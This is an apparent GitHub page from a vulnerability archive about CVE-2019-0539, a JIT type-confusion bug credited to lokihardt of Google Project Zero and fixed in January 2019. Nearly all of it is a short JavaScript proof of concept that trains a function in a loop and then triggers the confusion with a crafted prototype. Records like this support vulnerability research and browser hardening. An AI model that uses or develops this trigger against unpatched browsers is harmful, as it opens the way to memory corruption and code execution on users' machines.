Skip to content

Latest commit

 

History

History
44 lines (30 loc) · 864 Bytes

CVE-2019-0539.md

File metadata and controls

44 lines (30 loc) · 864 Bytes

CVE-2019-0539

  • Report: Oct 2018
  • Fix: Jan 2019
  • Credit: lokihardt of Google Project Zero

PoC

function opt(o, c, value) {
    o.b = 1;

    class A extends c {

    }

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, (function () {}), {});
    }

    let o = {a: 1, b: 2};
    let cons = function () {};

    cons.prototype = o;

    opt(o, cons, 0x1234);

    print(o.a);
}

main();

Reference